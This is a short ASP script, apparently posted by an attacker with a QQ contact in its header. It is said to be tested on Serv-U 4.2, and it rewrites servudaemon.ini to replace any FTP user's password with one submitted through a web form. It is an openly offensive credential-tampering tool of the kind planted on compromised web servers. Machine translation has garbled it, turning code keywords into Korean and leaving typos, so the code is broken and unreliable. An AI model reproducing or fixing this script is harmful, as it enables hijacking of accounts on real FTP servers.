다음 코드는 Serv-U 4.2에서 작동하도록 테스트되었습니다.
<%
'| ####################### |
'| 생존자 QQ : 54883661 |
'| 메일 : [email protected] |
'| ####################### |
inipath = d :/program files/serv-u/servudaemon.ini 'servudaemon.ini 파일 경로를 설정합니다
user = [user = & request (user) & | 1]
pass = password = & request (pass)
키 = 요청 (키)
key <>라면
Dim OS, UserLong, Passlong, PL, SS
set fso = createobject (scripting.filesystemobject)
set os = fso.opentextfile (inipath, 1) 'servudaemon.ini를 읽으십시오
s = os.readall
os.close
userLong = inst (s, user)+len (사용자) +2
i = userLong에서 userLong+20의 경우
passlong = passlong+1
ASC (Mid (S, I, 1)) = 13 인 경우
종료
끝 If
다음
pl = mid (s, userlong, passlong-1)
SS = 교체 (S, User & Chr (13) 및 Chr (10) & PL, User & Chr (13) 및 Chr (10) & Pass)
set os = fso.creatextfile (inipath, true) 'servudaemon.ini에 쓰기
OS.WRITE SS
os.close
끝 If
%>
<form 메소드 = post>
사용자 이름 : <입력 유형 = 텍스트 이름 = 사용자> <br>
새 비밀번호 : <입력 유형 = 텍스트 이름 = 패스> <br>
<입력 유형 = 제출 이름 = 키 값 = modify> <br>
</form>